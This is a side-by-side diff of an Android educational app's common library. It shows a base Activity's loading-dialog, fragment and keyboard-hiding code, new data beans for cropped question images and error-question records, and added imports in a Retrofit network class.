147 // NavigationBarView navigationBarView = new NavigationBarView(this); 157 // NavigationBarView navigationBarView = new NavigationBarView(this);
148 // FloatWindow.with(CommonApplication.getAppContext()) 158 // FloatWindow.with(CommonApplication.getAppContext())
149 // .setView(navigationBarView) 159 // .setView(navigationBarView)
150 // .setWidth(Screen.width, 1) 160 // .setWidth(Screen.width, 1)
151 // .setHeight(WindowManager.LayoutParams.WRAP_CONTENT) 161 // .setHeight(WindowManager.LayoutParams.WRAP_CONTENT)
152 // .setX(0) 162 // .setX(0)
153 // .setY(0) 163 // .setY(0)
154 // .setMoveType(MoveType.inactive) 164 // .setMoveType(MoveType.inactive)
155 // .setDesktopShow(false) 165 // .setDesktopShow(false)
156 // .setTag("navigation") 166 // .setTag("navigation")
157 // .build(); 167 // .build();
158 // } 168 // }
159 // if (!FloatWindow.get("navigation").isShowing()) 169 // if (!FloatWindow.get("navigation").isShowing())
160 // FloatWindow.get("navigation").show(); 170 // FloatWindow.get("navigation").show();
161 // 171 //
162 // } 172 // }
163 173
164 174
165 public void showAlertDialogOfFloatWindow() { 175 public void showAlertDialogOfFloatWindow() {
166 //弹窗提示用户开启权限 176 //弹窗提示用户开启权限
167 // new AlertDialog(this).builder().setTitle(getString(R.string.need_permission)) 177 // new AlertDialog(this).builder().setTitle(getString(R.string.need_permission))
168 // .setMsg(getString(R.string.need_permission_window)) 178 // .setMsg(getString(R.string.need_permission_window))
169 // .setPositiveButton(getString(R.string.open), new View.OnClickListener() { 179 // .setPositiveButton(getString(R.string.open), new View.OnClickListener() {
170 // @Override 180 // @Override
171 // public void onClick(View v) { 181 // public void onClick(View v) {
172 // Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); 182 // Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
173 // intent.setData(Uri.parse("package:" + getPackageName())); 183 // intent.setData(Uri.parse("package:" + getPackageName()));
174 // startActivity(intent); 184 // startActivity(intent);
175 // } 185 // }
176 // }).setNegativeButton(getString(R.string.cancel), new View.OnClickListener() { 186 // }).setNegativeButton(getString(R.string.cancel), new View.OnClickListener() {
177 // @Override 187 // @Override
178 // public void onClick(View v) { 188 // public void onClick(View v) {
179 // } 189 // }
180 // }).show(); 190 // }).show();
181 LogUtil.toast("请开启浮窗权限"); 191 LogUtil.toast("请开启浮窗权限");
182 } 192 }
183 193
184 194
185 public void showLoading(String title) { 195 public void showLoading(String title) {
186 synchronized (this) { 196 synchronized (this) {
187 if (loading != null || !isLiving(this)) return; 197 if (loading != null || !isLiving(this)) return;
188 runOnUiThread(() -> { 198 runOnUiThread(() -> {
189 loading = new LoadingView(this, R.style.CustomDialog, title); 199 loading = new LoadingView(this, R.style.CustomDialog, title);
190 loading.show(); 200 loading.show();
191 ScreenUtils.hideBottomUIMenu(this); 201 ScreenUtils.hideBottomUIMenu(this);
192 ScreenUtils.hideDialogBottomUIMenu(loading); 202 ScreenUtils.hideDialogBottomUIMenu(loading);
193 }); 203 });
194 } 204 }
195 } 205 }
196 206
197 207
198 public void setCanAble(boolean canAble) { 208 public void setCanAble(boolean canAble) {
199 if (loading != null) 209 if (loading != null)
200 loading.setCancelable(canAble); 210 loading.setCancelable(canAble);
201 211
202 } 212 }
203 213
204 public boolean isShowLoading() { 214 public boolean isShowLoading() {
205 if (loading == null) return false; 215 if (loading == null) return false;
206 return loading.isShowing(); 216 return loading.isShowing();
207 } 217 }
208 218
209 public void dismissLoading() { 219 public void dismissLoading() {
210 runOnUiThread(() -> { 220 runOnUiThread(() -> {
211 if (loading == null || loading.isShowing() == false || !isLiving(this)) { 221 if (loading == null || loading.isShowing() == false || !isLiving(this)) {
212 Log.w(TAG, "loading == null" + 222 Log.w(TAG, "loading == null" +
213 " || loading.isShowing() == false >> return;"); 223 " || loading.isShowing() == false >> return;");
214 return; 224 return;
215 } 225 }
216 loading.dismiss(); 226 loading.dismiss();
217 loading = null; 227 loading = null;
218 228
219 }); 229 });
220 } 230 }
221 231
222 232
223 private static boolean isLiving(Activity activity) { 233 private static boolean isLiving(Activity activity) {
224 234
225 if (activity == null) { 235 if (activity == null) {
226 Log.d("wisely", "activity == null"); 236 Log.d("wisely", "activity == null");
227 return false; 237 return false;
228 } 238 }
229 239
230 if (activity.isFinishing()) { 240 if (activity.isFinishing()) {
231 Log.d("wisely", "activity is finishing"); 241 Log.d("wisely", "activity is finishing");
232 return false; 242 return false;
233 } 243 }
234 244
235 return true; 245 return true;
236 } 246 }
237 247
238 248
239 /** 249 /**
240 * 是否需要弹窗提示更新 250 * 是否需要弹窗提示更新
241 */ 251 */
242 protected void isNeedGetVersionUpdate() { 252 protected void isNeedGetVersionUpdate() {
243 // View view = findViewById(R.id.view_loading); 253 // View view = findViewById(R.id.view_loading);
244 //如果显示正在下载的页面,则不弹出更新弹窗 254 //如果显示正在下载的页面,则不弹出更新弹窗
245 // if (null == view || view.getVisibility() == View.VISIBLE) return; 255 // if (null == view || view.getVisibility() == View.VISIBLE) return;
246 // UpdateUtils.getVersion(this); 256 // UpdateUtils.getVersion(this);
247 } 257 }
248 258
249 259
250 /** 260 /**
251 * 全局检测网络广播的回调 处理网络变化 261 * 全局检测网络广播的回调 处理网络变化
252 * 注:在程序第一次启动的时候,没网并不会回调,需要自己在启动页面,或者主页自己再判断一次 262 * 注:在程序第一次启动的时候,没网并不会回调,需要自己在启动页面,或者主页自己再判断一次
253 * 263 *
254 * @param netWorkState 网络状态 -1:没网络 0:移动网络 1:WiFi网络 264 * @param netWorkState 网络状态 -1:没网络 0:移动网络 1:WiFi网络
255 */ 265 */
256 public abstract void onNetChanged(int netWorkState); 266 public abstract void onNetChanged(int netWorkState);
257 267
258 @Override 268 @Override
259 public void onNetChange(int netWorkState) { 269 public void onNetChange(int netWorkState) {
260 onNetChanged(netWorkState); 270 onNetChanged(netWorkState);
261 } 271 }
262 272
263 @Override 273 @Override
264 protected void onDestroy() { 274 protected void onDestroy() {
265 super.onDestroy(); 275 super.onDestroy();
266 unSubscribe(); 276 unSubscribe();
267 cleanFragment(); 277 cleanFragment();
268 unregisterEventBus(); 278 unregisterEventBus();
269 if (p != null) { 279 if (p != null) {
270 p.onBindView(); 280 p.onBindView();
271 p.cancelAllRequest(); 281 p.cancelAllRequest();
272 } 282 }
273 } 283 }
274 284
275 @Override 285 @Override
276 protected void onPause() { 286 protected void onPause() {
277 super.onPause(); 287 super.onPause();
278 288
279 } 289 }
280 290
281 private void registerEventBus() { 291 private void registerEventBus() {
282 EventBus.getDefault().register(this); 292 EventBus.getDefault().register(this);
283 } 293 }
284 294
285 private void unregisterEventBus() { 295 private void unregisterEventBus() {
286 EventBus.getDefault().unregister(this); 296 EventBus.getDefault().unregister(this);
287 } 297 }
288 298
289 public void showErrorToast() { 299 public void showErrorToast() {
290 // LogUtil.toast(MainApplication.getAppContext(), getString(R.string.service_error)); 300 // LogUtil.toast(MainApplication.getAppContext(), getString(R.string.service_error));
291 } 301 }
292 302
293 public void showToast(String s) { 303 public void showToast(String s) {
294 Toast.makeText(getApplicationContext(), s, Toast.LENGTH_SHORT).show(); 304 Toast.makeText(getApplicationContext(), s, Toast.LENGTH_SHORT).show();
295 } 305 }
296 306
297 private void unSubscribe() { 307 private void unSubscribe() {
298 if (mCompositeDisposable != null) { 308 if (mCompositeDisposable != null) {
299 mCompositeDisposable.clear(); 309 mCompositeDisposable.clear();
300 } 310 }
301 } 311 }
302 312
303 protected void addSubscribe(Disposable disposable) { 313 protected void addSubscribe(Disposable disposable) {
304 if (mCompositeDisposable == null) { 314 if (mCompositeDisposable == null) {
305 mCompositeDisposable = new CompositeDisposable(); 315 mCompositeDisposable = new CompositeDisposable();
306 } 316 }
307 mCompositeDisposable.add(disposable); 317 mCompositeDisposable.add(disposable);
308 } 318 }
309 319
310 protected void startActivity(Class clazz) { 320 protected void startActivity(Class clazz) {
311 startActivity(new Intent(this, clazz)); 321 startActivity(new Intent(this, clazz));
312 } 322 }
313 323
314 /******************** 处理fragment *******************************/ 324 /******************** 处理fragment *******************************/
315 List<Fragment> fragmentList = new ArrayList<>(); 325 List<Fragment> fragmentList = new ArrayList<>();
316 326
317 protected void showFragment(Fragment fragment, @IdRes int id) { 327 protected void showFragment(Fragment fragment, @IdRes int id) {
318 FragmentTransaction fragmentTransaction = getSupportFragmentManager().beginTransaction(); 328 FragmentTransaction fragmentTransaction = getSupportFragmentManager().beginTransaction();
319 329
320 if (!fragmentList.contains(fragment)) { 330 if (!fragmentList.contains(fragment)) {
321 fragmentList.add(fragment); 331 fragmentList.add(fragment);
322 fragmentTransaction.add(id, fragment, fragment.getClass().getSimpleName()).setMaxLifecycle(fragment, Lifecycle.State.RESUMED); 332 fragmentTransaction.add(id, fragment, fragment.getClass().getSimpleName()).setMaxLifecycle(fragment, Lifecycle.State.RESUMED);
323 } 333 }
324 334
325 fragmentTransaction.show(fragment).setMaxLifecycle(fragment, Lifecycle.State.RESUMED); 335 fragmentTransaction.show(fragment).setMaxLifecycle(fragment, Lifecycle.State.RESUMED);
326 336
327 for (Fragment fragment1 : fragmentList) { 337 for (Fragment fragment1 : fragmentList) {
328 if (fragment1 != fragment) { 338 if (fragment1 != fragment) {
329 fragmentTransaction.hide(fragment1).setMaxLifecycle(fragment1, Lifecycle.State.STARTED); 339 fragmentTransaction.hide(fragment1).setMaxLifecycle(fragment1, Lifecycle.State.STARTED);
330 } 340 }
331 } 341 }
332 342
333 fragmentTransaction.commitAllowingStateLoss(); 343 fragmentTransaction.commitAllowingStateLoss();
334 344
335 } 345 }
336 346
337 protected void cleanFragment() { 347 protected void cleanFragment() {
338 FragmentTransaction fragmentTransaction = getSupportFragmentManager().beginTransaction(); 348 FragmentTransaction fragmentTransaction = getSupportFragmentManager().beginTransaction();
339 if (fragmentList.size() > 0) { 349 if (fragmentList.size() > 0) {
340 for (Fragment fragment : fragmentList) { 350 for (Fragment fragment : fragmentList) {
341 fragmentTransaction.remove(fragment); 351 fragmentTransaction.remove(fragment);
342 } 352 }
343 try { 353 try {
344 fragmentTransaction.commitNowAllowingStateLoss(); 354 fragmentTransaction.commitNowAllowingStateLoss();
345 } catch (Exception e) { 355 } catch (Exception e) {
346 e.printStackTrace(); 356 e.printStackTrace();
347 } 357 }
348 } 358 }
349 fragmentList.clear(); 359 fragmentList.clear();
350 } 360 }
351 361
352 //************************* 用于隐藏键盘 ***************************************// 362 //************************* 用于隐藏键盘 ***************************************//
353 @Override 363 @Override
354 public boolean dispatchTouchEvent(MotionEvent ev) { 364 public boolean dispatchTouchEvent(MotionEvent ev) {
355 if (ev.getAction() == MotionEvent.ACTION_DOWN) { 365 if (ev.getAction() == MotionEvent.ACTION_DOWN) {
356 366
357 View v = getCurrentFocus(); 367 View v = getCurrentFocus();
358 if (isShouldHideInput(v, ev)) { 368 if (isShouldHideInput(v, ev)) {
359 hideSoftInput(v.getWindowToken()); 369 hideSoftInput(v.getWindowToken());
360 } 370 }
361 } 371 }
362 return super.dispatchTouchEvent(ev); 372 return super.dispatchTouchEvent(ev);
363 } 373 }
364 374
365 private boolean isShouldHideInput(View v, MotionEvent event) { 375 private boolean isShouldHideInput(View v, MotionEvent event) {
366 if (v != null && (v instanceof EditText)) { 376 if (v != null && (v instanceof EditText)) {
367 int[] l = {0, 0}; 377 int[] l = {0, 0};
368 v.getLocationInWindow(l); 378 v.getLocationInWindow(l);
369 int left = l[0], top = l[1], bottom = top + v.getHeight(), right = left 379 int left = l[0], top = l[1], bottom = top + v.getHeight(), right = left
370 + v.getWidth(); 380 + v.getWidth();
371 if (event.getX() > left && event.getX() < right 381 if (event.getX() > left && event.getX() < right
372 && event.getY() > top && event.getY() < bottom) { 382 && event.getY() > top && event.getY() < bottom) {
373 // 点击EditText的事件,忽略它。 383 // 点击EditText的事件,忽略它。
374 return false; 384 return false;
375 } else { 385 } else {
376 return true; 386 return true;
377 } 387 }
378 } 388 }
379 389
380 return false; 390 return false;
381 } 391 }
382 392
383 /** 393 /**
384 * 多种隐藏软件盘方法的其中一种 394 * 多种隐藏软件盘方法的其中一种
385 * 395 *
386 * @param token 396 * @param token
387 */ 397 */
388 private void hideSoftInput(IBinder token) { 398 private void hideSoftInput(IBinder token) {
389 LogUtil.i(TAG, "隐藏键盘"); 399 LogUtil.i(TAG, "隐藏键盘");
390 if (token != null) { 400 if (token != null) {
391 InputMethodManager im = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE); 401 InputMethodManager im = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE);
392 im.hideSoftInputFromWindow(token, 402 im.hideSoftInputFromWindow(token,
393 InputMethodManager.HIDE_NOT_ALWAYS); 403 InputMethodManager.HIDE_NOT_ALWAYS);
394 } 404 }
395 } 405 }
396 406
397 //************************* 用于隐藏键盘 end***************************************// 407 //************************* 用于隐藏键盘 end***************************************//
398 408
399 409
400 } 410 }
401 411
libs/common/src/main/java/com/prws/common/bean/CutPicBean.java
File was created 1 package com.prws.common.bean;
2
3 import java.io.Serializable;
4 import java.util.List;
5
6 public class CutPicBean implements Serializable{
7 private int qus_result_nums_result_num;
8 private int direction;
9 private List<CutLocation> qus_figure;
10
11 public void setDirection(int direction) {
12 this.direction = direction;
13 }
14
15 public int getDirection() {
16 return direction;
17 }
18
19 public void setQus_result_nums_result_num(int qus_result_nums_result_num) {
20 this.qus_result_nums_result_num = qus_result_nums_result_num;
21 }
22
23 public void setQus_figure(List<CutLocation> qus_figure) {
24 this.qus_figure = qus_figure;
25 }
26
27 public int getQus_result_nums_result_num() {
28 return qus_result_nums_result_num;
29 }
30
31 public List<CutLocation> getQus_figure() {
32 return qus_figure;
33 }
34
35 public class CutLocation implements Serializable{
36 private FigLoaction fig_location;
37 private String fig;
38
39 public void setFig_location(FigLoaction fig_location) {
40 this.fig_location = fig_location;
41 }
42
43 public void setFig(String fig) {
44 this.fig = fig;
45 }
46
47 public FigLoaction getFig_location() {
48 return fig_location;
49 }
50
51 public String getFig() {
52 return fig;
53 }
54 }
55
56 public class FigLoaction implements Serializable {
57 List<Points> points;
58
59 public void setPoints(List<Points> points) {
60 this.points = points;
61 }
62
63 public List<Points> getPoints() {
64 return points;
65 }
66 }
67
68 public class Points implements Serializable{
69
70 private int x;
71 private int y;
72
73 public void setX(int x) {
74 this.x = x;
75 }
76
77 public int getX() {
78 return x;
79 }
80
81 public void setY(int y) {
82 this.y = y;
83 }
84
85 public int getY() {
86 return y;
87 }
88
89 }
90 }
91
libs/common/src/main/java/com/prws/common/bean/ErrorDetailBean.java
File was created 1 package com.prws.common.bean;
2
3 import com.google.gson.annotations.SerializedName;
4
5 import java.io.Serializable;
6 import java.util.List;
7
8 public class ErrorDetailBean implements Serializable {
9 @SerializedName(value = "sid", alternate = "SID")
10 private String SID;
11 @SerializedName(value = "ID", alternate = "id")
12 private String ID;
13 @SerializedName(value = "subject", alternate = "Subject")
14 private String Subject;
15 @SerializedName(value = "cate", alternate = "Cate")
16 private int Cate;
17 @SerializedName(value = "cateName", alternate = "CateName")
18 private String CateName;
19 @SerializedName(value = "label", alternate = "Label")
20 private String Label;
21 @SerializedName(value = "parentContent", alternate = "ParentContent")
22 private String ParentContent;
23 @SerializedName(value = "content", alternate = "Content")
24 private String Content;
25 @SerializedName(value = "optionsList", alternate = "Options")
26 private List<String> Options;
27 @SerializedName(value = "Points", alternate = "pointsList")
28 private List<KeyValue> Points;
29 @SerializedName(value = "Topics", alternate = "topicsList")
30 private List<KeyValue> Topics;
31 @SerializedName(value = "Analyse", alternate = "analyse")
32 private String Analyse;
33 @SerializedName(value = "Method", alternate = "method")
34 private String Method;
35 @SerializedName(value = "Discuss", alternate = "discuss")
36 private String Discuss;
37 @SerializedName(value = "Answers", alternate = "answersList")
38 private List<String> Answers;
39 @SerializedName(value = "DisplayAnswer", alternate = "displayAnswer")
40 private String DisplayAnswer;
41 private int userAnswer = -1;
42 @SerializedName(value = "Degree", alternate = "degree")
43 private float Degree;
44 private boolean done = false;
45
46 public void setDegree(float degree) {
47 Degree = degree;
48 }
49
50 public float getDegree() {
51 return Degree;
52 }
53
54 public boolean isDone() {
55 return done;
56 }
57
58 public void setDone(boolean done) {
59 this.done = done;
60 }
61
62 public void setUserAnswer(int userAnswer) {
63 this.userAnswer = userAnswer;
64 }
65
66 public int getUserAnswer() {
67 return userAnswer;
68 }
69
70 public void setSID(String SID) {
71 this.SID = SID;
72 }
73
74 public void setID(String ID) {
75 this.ID = ID;
76 }
77
78 public void setSubject(String subject) {
79 Subject = subject;
80 }
81
82 public void setCate(int cate) {
83 Cate = cate;
84 }
85
86 public void setCateName(String cateName) {
87 CateName = cateName;
88 }
89
90 public void setLabel(String label) {
91 Label = label;
92 }
93
94 public void setParentContent(String parentContent) {
95 ParentContent = parentContent;
96 }
97
98 public void setContent(String content) {
99 Content = content;
100 }
101
102 public void setOptions(List<String> options) {
103 Options = options;
104 }
105
106 public void setPoints(List<KeyValue> points) {
107 Points = points;
108 }
109
110 public void setTopics(List<KeyValue> topics) {
111 Topics = topics;
112 }
113
114 public void setAnalyse(String analyse) {
115 Analyse = analyse;
116 }
117
118 public void setMethod(String method) {
119 Method = method;
120 }
121
122 public void setDiscuss(String discuss) {
123 Discuss = discuss;
124 }
125
126 public void setAnswers(List<String> answers) {
127 Answers = answers;
128 }
129
130 public void setDisplayAnswer(String displayAnswer) {
131 DisplayAnswer = displayAnswer;
132 }
133
134 public String getSID() {
135 return SID;
136 }
137
138 public String getID() {
139 return ID;
140 }
141
142 public String getSubject() {
143 return Subject;
144 }
145
146 public int getCate() {
147 return Cate;
148 }
149
150 public String getCateName() {
151 return CateName;
152 }
153
154 public String getLabel() {
155 return Label;
156 }
157
158 public String getParentContent() {
159 return ParentContent;
160 }
161
162 public String getContent() {
163 return Content;
164 }
165
166 public List<String> getOptions() {
167 return Options;
168 }
169
170 public List<KeyValue> getPoints() {
171 return Points;
172 }
173
174 public List<KeyValue> getTopics() {
175 return Topics;
176 }
177
178 public String getAnalyse() {
179 return Analyse;
180 }
181
182 public String getMethod() {
183 return Method;
184 }
185
186 public String getDiscuss() {
187 return Discuss;
188 }
189
190 public List<String> getAnswers() {
191 return Answers;
192 }
193
194 public String getDisplayAnswer() {
195 return DisplayAnswer;
196 }
197
198 public class KeyValue implements Serializable {
199 private String Key;
200 private String Value;
201
202 public void setKey(String key) {
203 Key = key;
204 }
205
206 public void setValue(String value) {
207 Value = value;
208 }
209
210 public String getKey() {
211 return Key;
212 }
213
214 public String getValue() {
215 return Value;
216 }
217 }
218 }
219
libs/common/src/main/java/com/prws/common/bean/ImageBean.java
File was created 1 package com.prws.common.bean;
2
3 import android.graphics.Bitmap;
4 import android.graphics.Rect;
5
6 import java.io.Serializable;
7 import java.util.List;
8
9 public class ImageBean implements Serializable {
10 private String path;
11 private List<Cut> cuts;
12
13 public static class Cut implements Serializable {
14 private CutPicBean.FigLoaction rect;
15 private boolean select;
16 private Bitmap bitmap;
17
18 private Rect rect1;
19
20 public void setRect1(Rect rect1) {
21 this.rect1 = rect1;
22 }
23
24 public Rect getRect1() {
25 return rect1;
26 }
27
28 public void setBitmap(Bitmap bitmap) {
29 this.bitmap = bitmap;
30 }
31
32 public Bitmap getBitmap() {
33 return bitmap;
34 }
35
36 public void setRect(CutPicBean.FigLoaction rect) {
37 this.rect = rect;
38 }
39
40 public void setSelect(boolean select) {
41 this.select = select;
42 }
43
44 public CutPicBean.FigLoaction getRect() {
45 return rect;
46 }
47
48 public boolean isSelect() {
49 return select;
50 }
51 }
52
53 public void setPath(String path) {
54 this.path = path;
55 }
56
57 public String getPath() {
58 return path;
59 }
60
61 public void setCuts(List<Cut> cuts) {
62 this.cuts = cuts;
63 }
64
65 public List<Cut> getCuts() {
66 return cuts;
67 }
68 }
69
libs/common/src/main/java/com/prws/common/bean/PageInfo.java
File was created 1 package com.prws.common.bean;
2
3 import java.util.List;
4
5 public class PageInfo<T> {
6
7 private Integer pageNum;
8 private Integer pageSize;
9 private Integer size;
10 private Integer startRow;
11 private Integer endRow;
12 private Integer pages;
13 private Integer prePage;
14 private Integer nextPage;
15 private Boolean isFirstPage;
16 private Boolean isLastPage;
17 private Boolean hasPreviousPage;
18 private Boolean hasNextPage;
19 private Integer navigatePages;
20 private List<Integer> navigatepageNums;
21 private Integer navigateFirstPage;
22 private Integer navigateLastPage;
23 private Integer total;
24 private List<T> list;
25
26 public void setPageNum(Integer pageNum) {
27 this.pageNum = pageNum;
28 }
29
30 public void setPageSize(Integer pageSize) {
31 this.pageSize = pageSize;
32 }
33
34 public void setSize(Integer size) {
35 this.size = size;
36 }
37
38 public void setStartRow(Integer startRow) {
39 this.startRow = startRow;
40 }
41
42 public void setEndRow(Integer endRow) {
43 this.endRow = endRow;
44 }
45
46 public void setPages(Integer pages) {
47 this.pages = pages;
48 }
49
50 public void setPrePage(Integer prePage) {
51 this.prePage = prePage;
52 }
53
54 public void setNextPage(Integer nextPage) {
55 this.nextPage = nextPage;
56 }
57
58 public void setFirstPage(Boolean firstPage) {
59 isFirstPage = firstPage;
60 }
61
62 public void setLastPage(Boolean lastPage) {
63 isLastPage = lastPage;
64 }
65
66 public void setHasPreviousPage(Boolean hasPreviousPage) {
67 this.hasPreviousPage = hasPreviousPage;
68 }
69
70 public void setHasNextPage(Boolean hasNextPage) {
71 this.hasNextPage = hasNextPage;
72 }
73
74 public void setNavigatePages(Integer navigatePages) {
75 this.navigatePages = navigatePages;
76 }
77
78 public void setNavigatepageNums(List<Integer> navigatepageNums) {
79 this.navigatepageNums = navigatepageNums;
80 }
81
82 public void setNavigateFirstPage(Integer navigateFirstPage) {
83 this.navigateFirstPage = navigateFirstPage;
84 }
85
86 public void setNavigateLastPage(Integer navigateLastPage) {
87 this.navigateLastPage = navigateLastPage;
88 }
89
90 public void setTotal(Integer total) {
91 this.total = total;
92 }
93
94 public void setList(List<T> list) {
95 this.list = list;
96 }
97
98 public Integer getPageNum() {
99 return pageNum;
100 }
101
102 public Integer getPageSize() {
103 return pageSize;
104 }
105
106 public Integer getSize() {
107 return size;
108 }
109
110 public Integer getStartRow() {
111 return startRow;
112 }
113
114 public Integer getEndRow() {
115 return endRow;
116 }
117
118 public Integer getPages() {
119 return pages;
120 }
121
122 public Integer getPrePage() {
123 return prePage;
124 }
125
126 public Integer getNextPage() {
127 return nextPage;
128 }
129
130 public Boolean getFirstPage() {
131 return isFirstPage;
132 }
133
134 public Boolean getLastPage() {
135 return isLastPage;
136 }
137
138 public Boolean getHasPreviousPage() {
139 return hasPreviousPage;
140 }
141
142 public Boolean getHasNextPage() {
143 return hasNextPage;
144 }
145
146 public Integer getNavigatePages() {
147 return navigatePages;
148 }
149
150 public List<Integer> getNavigatepageNums() {
151 return navigatepageNums;
152 }
153
154 public Integer getNavigateFirstPage() {
155 return navigateFirstPage;
156 }
157
158 public Integer getNavigateLastPage() {
159 return navigateLastPage;
160 }
161
162 public Integer getTotal() {
163 return total;
164 }
165
166 public List<T> getList() {
167 return list;
168 }
169 }
170
libs/common/src/main/java/com/prws/common/bean/TopicBean.java
File was created 1 package com.prws.common.bean;
2
3 import com.google.gson.annotations.SerializedName;
4
5 import java.io.Serializable;
6 import java.util.Date;
7
8 public class TopicBean implements Serializable {
9 @SerializedName(value = "id", alternate = "bookId")
10 private String id;
11 @SerializedName(value = "name", alternate = "title")
12 private String name;
13 @SerializedName(value = "path", alternate = "url")
14 private String path;
15 private String teacherFlag;
16 private String type;
17 private String date;
18 private String subject;
19 private String grade;
20 @SerializedName(value = "time", alternate = "errorTime")
21 private Date time;
22 private boolean isCheck = false;
23 private boolean isFinish = false;
24 @SerializedName(value = "isDone", alternate = "controlFlag")
25 private int isDone = 1;
26 private boolean imageOnly = false;
27 @SerializedName(value = "reason", alternate = "errorReason")
28 private int reason;
29 private String remark;
30 @SerializedName(value = "bean", alternate = "errorDetail")
31 private ErrorDetailBean bean;
32
33 public void setDone(boolean done) {
34 isDone = done ? 0 : 1;
35 }
36
37 public void setImageOnly(boolean imageOnly) {
38 this.imageOnly = imageOnly;
39 }
40
41 public void setType(String type) {
42 this.type = type;
43 }
44
45 public void setIsDone(int isDone) {
46 this.isDone = isDone;
47 }
48
49 public void setReason(int reason) {
50 this.reason = reason;
51 }
52
53 public int getIsDone() {
54 return isDone;
55 }
56
57 public int getReason() {
58 return reason;
59 }
60
61 public void setTeacherFlag(String teacherFlag) {
62 this.teacherFlag = teacherFlag;
63 }
64
65 public String getTeacherFlag() {
66 return teacherFlag;
67 }
68
69 public void setRemark(String remark) {
70 this.remark = remark;
71 }
72
73 public boolean isDone() {
74 return isDone == 0;
75 }
76
77 public boolean isImageOnly() {
78 return imageOnly;
79 }
80
81 public String getRemark() {
82 return remark;
83 }
84
85 public void setBean(ErrorDetailBean bean) {
86 this.bean = bean;
87 }
88
89 public ErrorDetailBean getBean() {
90 return bean;
91 }
92
93 public void setTime(Date time) {
94 this.time = time;
95 }
96
97 public Date getTime() {
98 return time;
99 }
100
101 public void setCheck(boolean check) {
102 isCheck = check;
103 }
104
105 public boolean isCheck() {
106 return isCheck;
107 }
108
109 public void setId(String id) {
110 this.id = id;
111 }
112
113 public String getId() {
114 return id;
115 }
116
117 public void setFinish(boolean finish) {
118 isFinish = finish;
119 }
120
121 public boolean isFinish() {
122 return isFinish;
123 }
124
125 public void setName(String name) {
126 this.name = name;
127 }
128
129 public void setPath(String path) {
130 this.path = path;
131 }
132
133 public void setType(int type) {
134 this.type = Integer.toString(type);
135 }
136
137 public void setDate(String date) {
138 this.date = date;
139 }
140
141 public void setSubject(String subject) {
142 this.subject = subject;
143 }
144
145 public void setGrade(String grade) {
146 this.grade = grade;
147 }
148
149 public String getName() {
150 return name;
151 }
152
153 public String getPath() {
154 return path;
155 }
156
157 public int getType() {
158 if (type != null) {
159 return Integer.parseInt(type);
160 } else {
161 return 0;
162 }
163 }
164
165 public String getDate() {
166 return date;
167 }
168
169 public String getSubject() {
170 return subject;
171 }
172
173 public String getGrade() {
174 return grade;
175 }
176 }
177
libs/common/src/main/java/com/prws/common/net/NetWorks.java
1 package com.prws.common.net; 1 package com.prws.common.net;
2 2
3 3
4 import com.google.gson.Gson; 4 import com.google.gson.Gson;
5 import com.google.gson.JsonObject;
5 import com.prws.common.BuildConfig; 6 import com.prws.common.BuildConfig;
6 import com.prws.common.bean.BaseEntity; 7 import com.prws.common.bean.BaseEntity;
8 import com.prws.common.bean.CutPicBean;
7 import com.prws.common.bean.GradeAndSubject; 9 import com.prws.common.bean.GradeAndSubject;
10 import com.prws.common.bean.PageInfo;
8 import com.prws.common.bean.ResponseResult; 11 import com.prws.common.bean.ResponseResult;
9 import com.prws.common.bean.ScheduleBean; 12 import com.prws.common.bean.ScheduleBean;
10 import com.prws.common.bean.Teacher; 13 import com.prws.common.bean.Teacher;
14 import com.prws.common.bean.TopicBean;
11 import com.prws.common.utils.SharedPreferencesUtil; 15 import com.prws.common.utils.SharedPreferencesUtil;
12 16
13 import java.io.File; 17 import java.io.File;
14 import java.util.HashMap; 18 import java.util.HashMap;
15 import java.util.List; 19 import java.util.List;
16 import java.util.Map; 20 import java.util.Map;
17 21
18 import io.reactivex.Observable; 22 import io.reactivex.Observable;
19 import io.reactivex.Observer; 23 import io.reactivex.Observer;
20 import io.reactivex.android.schedulers.AndroidSchedulers; 24 import io.reactivex.android.schedulers.AndroidSchedulers;
21 import io.reactivex.schedulers.Schedulers; 25 import io.reactivex.schedulers.Schedulers;
22 import okhttp3.MediaType; 26 import okhttp3.MediaType;
23 import okhttp3.MultipartBody; 27 import okhttp3.MultipartBody;
24 import okhttp3.RequestBody; 28 import okhttp3.RequestBody;
25 import okhttp3.ResponseBody; 29 import okhttp3.ResponseBody;
26 import retrofit2.Call; 30 import retrofit2.Call;
27 import retrofit2.Callback; 31 import retrofit2.Callback;
28 import retrofit2.http.Body; 32 import retrofit2.http.Body;
29 import retrofit2.http.DELETE; 33 import retrofit2.http.DELETE;
30 import retrofit2.http.FieldMap; 34 import retrofit2.http.FieldMap;
31 import retrofit2.http.FormUrlEncoded; 35 import retrofit2.http.FormUrlEncoded;
32 import retrofit2.http.GET; 36 import retrofit2.http.GET;
33 import retrofit2.http.Header; 37 import retrofit2.http.Header;
38 import retrofit2.http.HeaderMap;
34 import retrofit2.http.Headers; 39 import retrofit2.http.Headers;
35 import retrofit2.http.Multipart; 40 import retrofit2.http.Multipart;
36 import retrofit2.http.POST; 41 import retrofit2.http.POST;
42 import retrofit2.http.PUT;
37 import retrofit2.http.Part; 43 import retrofit2.http.Part;
38 import retrofit2.http.PartMap; 44 import retrofit2.http.PartMap;
39 import retrofit2.http.Path; 45 import retrofit2.http.Path;
40 import retrofit2.http.Query; 46 import retrofit2.http.Query;
41 import retrofit2.http.QueryMap; 47 import retrofit2.http.QueryMap;
42 import retrofit2.http.Streaming; 48 import retrofit2.http.Streaming;
43 import retrofit2.http.Url; 49 import retrofit2.http.Url;
44 50
45 /** 51 /**
46 * 类名称:NetWorks 52 * 类名称:NetWorks
47 * 创建人: 53 * 创建人:
48 * <p> 54 * <p>
49 * 类描述:网络请求的操作类 55 * 类描述:网络请求的操作类
50 */ 56 */
51 public class NetWorks extends RetrofitUtils { 57 public class NetWorks extends RetrofitUtils {
52 //服务器路径 58 //服务器路径
53 public static final NetService service_url = getMachineRetrofit(BuildConfig.SERVER_URL).create(NetService.class); 59 public static final NetService service_url = getMachineRetrofit(BuildConfig.SERVER_URL).create(NetService.class);
54 60
55 //设缓存有效期为1天 61 //设缓存有效期为1天
56 protected static final long CACHE_STALE_SEC = 60 * 60 * 24 * 1; 62 protected static final long CACHE_STALE_SEC = 60 * 60 * 24 * 1;
